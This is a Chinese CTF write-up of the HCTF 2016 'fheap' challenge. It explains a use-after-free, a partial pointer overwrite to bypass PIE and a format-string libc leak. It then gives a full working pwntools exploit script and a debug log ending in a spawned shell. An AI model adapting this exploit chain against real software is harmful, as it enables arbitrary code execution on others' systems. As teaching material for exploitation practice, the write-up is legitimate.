前言
DEFCON Quals 结束了,整场比赛没有 Web 手什么事情…….唯一一题 Web 题还有点脑洞。
划水 Web 手没有办法,摸了两天鱼一事无成。赛后就只能打打以前的 Pwn,努力学习一下补补两天的空缺了。
菜鸡 Pwn 手通过这个题目学到了格式化字符串,也熟悉了堆,现在越来越觉得时间不够学习了Orz。
好像有一段时间没有好好做 Web 了Orz。
题目链接:https://github.com/zh-explorer/hctf2016-fheap
题目分析
首先是保护机制:
aluvion@Aluvion:~/桌面$ checksec ./fheap
[*] '/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/fheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护基本都开了。
IDA 反编译,看到题目是个菜单题,不过只有 create 和 delete 两种功能,主要代码逻辑如下:
- create 的时候先 malloc 一个 0x20 大小的 chunk ptr,如果我们要输入的内容长度大于 0xF,长度使用 strlen 进行判断,就把内容放进这个 chunk 里;否则就再 malloc 一个新 chunk dest,然后将 chunk dest 的指针放入 chunk ptr 中。
- chunk ptr 的末尾还有两个数据,分别是内容长度和 delete 时要调用的 free 函数的地址。
- 将代表该 id 已分配的标识 1 和 chunk ptr 的指针放入 bss 段,当作索引表。
- delete 的时候先判断索引表中的指针是否存在,然后调用存在 chunk ptr 处的函数,参数为 chunk dest 的指针和一个字符串 “yes”。
主要漏洞代码在 delete 函数中:
if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1), "yes");
*((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
}
}
可以看到,判断能否 free 的依据是 bss 段中的指针,而 free 之后却只是将索引表中的标识置 0,没有清空指针,所以可以进行 UAF。
由于 free 函数是动态调用,所以我们如果可以覆盖 chunk ptr 中的函数指针,我们就可以调用任意函数。
解题思路
调用任意函数
因为程序开启了 PIE,所以我们无法知道准确的地址,但是 PIE 存在一个缺陷,那就是 PIE 的随机化只能影响到单个内存页。通常来说,一个内存页大小为 0x1000,所以最后的三个十六进制数字是不会变化的,我们就可以通过部分写入来绕过 PIE。
我们可以先 create 两个长度小于 0xF 的小 note,然后 delete 1、delete 0,然后再 create 一个 0x20 大小的 note。
这样一来,chunk ptr 就会拿到 note 0 的地址,chunk dest 就会拿到 chunk 1 的地址,这里我们就可以通过输入的 note 内容覆盖掉 chunk 1 中存放的 free 函数地址;而 bss 段中的索引表则没有变化,分别指向 chunk ptr 和 chunk dest。
所以我们只需要 delete 1,就可以调用我们改写的函数了。
泄露 libc 基地址
能够调用任意函数之后,我们只要找到 system 的地址,就可以拿到 shell 了。
我们给 chunk ptr 中存放的 free 函数下个断点调试一下,可以看到堆栈中有 libc 中存在的函数的地址:
Breakpoint *0x0000556d9af60d52
pwndbg> stack 40
00:0000│ rsp 0x7ffc68c597e8 —▸ 0x556d9af60e95 ◂— lea rax, [rip + 0x201224]
01:0008│ 0x7ffc68c597f0 ◂— 0x0
02:0010│ 0x7ffc68c597f8 ◂— 0x100000000
03:0018│ 0x7ffc68c59800 ◂— 0x736579 /* 'yes' */
04:0020│ 0x7ffc68c59808 ◂— 0x0
... ↓
10:0080│ 0x7ffc68c59868 —▸ 0x7feec1926bff (_IO_file_write+143) ◂— test rax, rax
11:0088│ 0x7ffc68c59870 —▸ 0x7feec1c73620 (_IO_2_1_stdout_) ◂— 0xfbad2887
12:0090│ 0x7ffc68c59878 ◂— 0x1
13:0098│ 0x7ffc68c59880 —▸ 0x7feec1c736a3 (_IO_2_1_stdout_+131) ◂— 0xc74780000000000a /* '\n' */
14:00a0│ 0x7ffc68c59888 —▸ 0x7ffc68c59e10 ◂— 0x1
15:00a8│ 0x7ffc68c59890 ◂— 0x0
16:00b0│ 0x7ffc68c59898 —▸ 0x7feec1928409 (_IO_do_write+121) ◂— mov r13, rax
17:00b8│ 0x7ffc68c598a0 ◂— 0x6
18:00c0│ 0x7ffc68c598a8 —▸ 0x7feec1c73620 (_IO_2_1_stdout_) ◂— 0xfbad2887
19:00c8│ 0x7ffc68c598b0 ◂— 0xa /* '\n' */
1a:00d0│ 0x7ffc68c598b8 —▸ 0x556d9af61344 ◂— xor ebp, dword ptr [rsi] /* '3.quit' */
1b:00d8│ 0x7ffc68c598c0 —▸ 0x7ffc68c59e10 ◂— 0x1
1c:00e0│ 0x7ffc68c598c8 —▸ 0x7feec192881b (_IO_file_overflow+235) ◂— cmp eax, -1
1d:00e8│ 0x7ffc68c598d0 ◂— 0x6
1e:00f0│ 0x7ffc68c598d8 —▸ 0x7feec1c73620 (_IO_2_1_stdout_) ◂— 0xfbad2887
1f:00f8│ 0x7ffc68c598e0 —▸ 0x556d9af61344 ◂— xor ebp, dword ptr [rsi] /* '3.quit' */
20:0100│ 0x7ffc68c598e8 —▸ 0x7feec191d7fa (puts+362) ◂— cmp eax, -1
21:0108│ 0x7ffc68c598f0 ◂— 0x0
22:0110│ 0x7ffc68c598f8 —▸ 0x7ffc68c59910 —▸ 0x7ffc68c59d30 —▸ 0x556d9af61180 ◂— push r15
23:0118│ 0x7ffc68c59900 —▸ 0x556d9af60a50 ◂— xor ebp, ebp
24:0120│ 0x7ffc68c59908 ◂— 0x22a1583f7a9e300
25:0128│ rbp 0x7ffc68c59910 —▸ 0x7ffc68c59d30 —▸ 0x556d9af61180 ◂— push r15
26:0130│ 0x7ffc68c59918 —▸ 0x556d9af60cf2 ◂— jmp 0x556d9af60d37
27:0138│ 0x7ffc68c59920 ◂— 'delete \n'
可以看到偏移 0x20 的地方存着 puts + 362 的地址(不清楚不同环境是不是同一个偏移的?),所以我们可以通过调用 printf 来进行泄露,我们用 objdump 来看看调用 printf 的地址:
aluvion@Aluvion:~/桌面$ objdump -d fheap | grep printf
00000000000009d0 <printf@plt>:
dbb: e8 10 fc ff ff callq 9d0 <printf@plt>
e19: e8 b2 fb ff ff callq 9d0 <printf@plt>
f0a: e8 c1 fa ff ff callq 9d0 <printf@plt>
f56: e8 75 fa ff ff callq 9d0 <printf@plt>
10ee: e8 dd f8 ff ff callq 9d0 <printf@plt>
因为只能修改一个字节,所以我们选择 0xdbb 处的 call 指令,要注意的是 printf 函数中会对 al 寄存器进行检测,如果不为 0 就执行movaps 这些指令,而这些指令后面的操作数需要是 16 位对齐。所以我们查看 IDA 中的汇编指令,最后选择的是 0xdbb 的前一个指令,即 0xdb6 处的 mov eax, 0。
泄露出 puts 函数的地址后我们可以用低三位地址去查找 libc 版本:
https://libc.blukat.me/?q=puts%3A0x690&l=libc6_2.23-0ubuntu10_amd64
最后得到 system 和 puts 的偏移为 0x2a300。
exp
具体的偏移可以自行调试
from pwn import *
context.log_level = "debug"
target = process("./fheap")
elf = ELF("./fheap")
gdb.attach(proc.pidof(target)[0])
def create(size, content):
target.sendline("create ")
target.sendlineafter("Pls give string size:", str(int(size)))
target.sendafter("str:", content)
def delete(id, content=""):
target.sendline("delete ")
target.sendlineafter("id:", str(id))
target.sendafter("Are you sure?:", "yes%s" % content)
create(4, "a" * 4)
create(4, "a" * 4)
delete(1)
delete(0)
create(0x20, "Twings%" + str(6 + 0x21 - 1) + "$pAluvion654321" + "\xb6")
delete(1, ",Twings!")
target.recvuntil("Twings")
puts_addr = int(target.recvuntil("Aluvion", drop=True), 16) - 362
system_addr = puts_addr - 0x2a300
target.sendline("")
target.sendline("")
success("puts address: %s" % hex(puts_addr))
success("system address: %s" % hex(system_addr))
delete(0)
create(0x20, "/bin/sh;".ljust(24, "p") + p64(system_addr))
delete(1)
target.interactive()
target.close()
运行效果:
aluvion@Aluvion:~/桌面$ python fheap.py
[+] Starting local process './fheap': pid 8579
[DEBUG] PLT 0x95c free
[DEBUG] PLT 0x970 strncpy
[DEBUG] PLT 0x980 strncmp
[DEBUG] PLT 0x990 puts
[DEBUG] PLT 0x9a0 strlen
[DEBUG] PLT 0x9b0 __stack_chk_fail
[DEBUG] PLT 0x9c0 setbuf
[DEBUG] PLT 0x9d0 printf
[DEBUG] PLT 0x9e0 read
[DEBUG] PLT 0x9f0 __libc_start_main
[DEBUG] PLT 0xa00 __gmon_start__
[DEBUG] PLT 0xa10 malloc
[DEBUG] PLT 0xa20 atoi
[DEBUG] PLT 0xa30 exit
[DEBUG] PLT 0xa40 __cxa_finalize
[*] '/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/fheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Wrote gdb script to '/tmp/pwnjFPVxi.gdb'
file /home/aluvion/桌面/fheap
[*] running in new terminal: /usr/bin/gdb -q "/home/aluvion/桌面/fheap" 8579 -x "/tmp/pwnjFPVxi.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "/home/aluvion/\xe6\xa1\x8c\xe9\x9d\xa2/fheap" 8579 -x "/tmp/pwnjFPVxi.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x79 bytes:
'+++++++++++++++++++++++++++\n'
"So, let's crash the world\n"
'+++++++++++++++++++++++++++\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Received 0x15 bytes:
'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x4 bytes:
'a' * 0x4
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x4f bytes:
'The string id is 0\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x4 bytes:
'a' * 0x4
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x6a bytes:
'The string id is 1\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x57 bytes:
'1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x3c bytes:
'1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
'32\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x19 bytes:
00000000 54 77 69 6e 67 73 25 33 38 24 70 41 6c 75 76 69 │Twin│gs%3│8$pA│luvi│
00000010 6f 6e 36 35 34 33 32 31 b6 │on65│4321│·│
00000019
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x6a bytes:
'The string id is 0\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0xb bytes:
'yes,Twings!'
[DEBUG] Received 0x27 bytes:
00000000 54 77 69 6e 67 73 30 78 37 66 65 36 39 65 34 63 │Twin│gs0x│7fe6│9e4c│
00000010 30 37 66 61 41 6c 75 76 69 6f 6e 36 35 34 33 32 │07fa│Aluv│ion6│5432│
00000020 31 b6 8d e4 f8 48 56 │1···│·HV│
00000027
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
[+] puts address: 0x7fe69e4c0690
[+] system address: 0x7fe69e496390
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x65 bytes:
'Are you sure?:1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x3c bytes:
'1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
'32\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x20 bytes:
00000000 2f 62 69 6e 2f 73 68 3b 70 70 70 70 70 70 70 70 │/bin│/sh;│pppp│pppp│
00000010 70 70 70 70 70 70 70 70 90 63 49 9e e6 7f 00 00 │pppp│pppp│·cI·│····│
00000020
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x6a bytes:
'The string id is 0\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x81 bytes:
00000000 75 69 64 3d 31 30 30 30 28 61 6c 75 76 69 6f 6e │uid=│1000│(alu│vion│
00000010 29 20 67 69 64 3d 31 30 30 30 28 61 6c 75 76 69 │) gi│d=10│00(a│luvi│
00000020 6f 6e 29 20 e7 bb 84 3d 31 30 30 30 28 61 6c 75 │on) │···=│1000│(alu│
00000030 76 69 6f 6e 29 2c 34 28 61 64 6d 29 2c 32 34 28 │vion│),4(│adm)│,24(│
00000040 63 64 72 6f 6d 29 2c 32 37 28 73 75 64 6f 29 2c │cdro│m),2│7(su│do),│
00000050 33 30 28 64 69 70 29 2c 34 36 28 70 6c 75 67 64 │30(d│ip),│46(p│lugd│
00000060 65 76 29 2c 31 31 33 28 6c 70 61 64 6d 69 6e 29 │ev),│113(│lpad│min)│
00000070 2c 31 32 38 28 73 61 6d 62 61 73 68 61 72 65 29 │,128│(sam│bash│are)│
00000080 0a │·│
00000081
uid=1000(aluvion) gid=1000(aluvion) 组=1000(aluvion),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
参考文章:
http://lvtao.pro/2018/10/26/2016-hctf-fheap-UAF/
https://blog.csdn.net/CharlesGodX/article/details/88911417
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!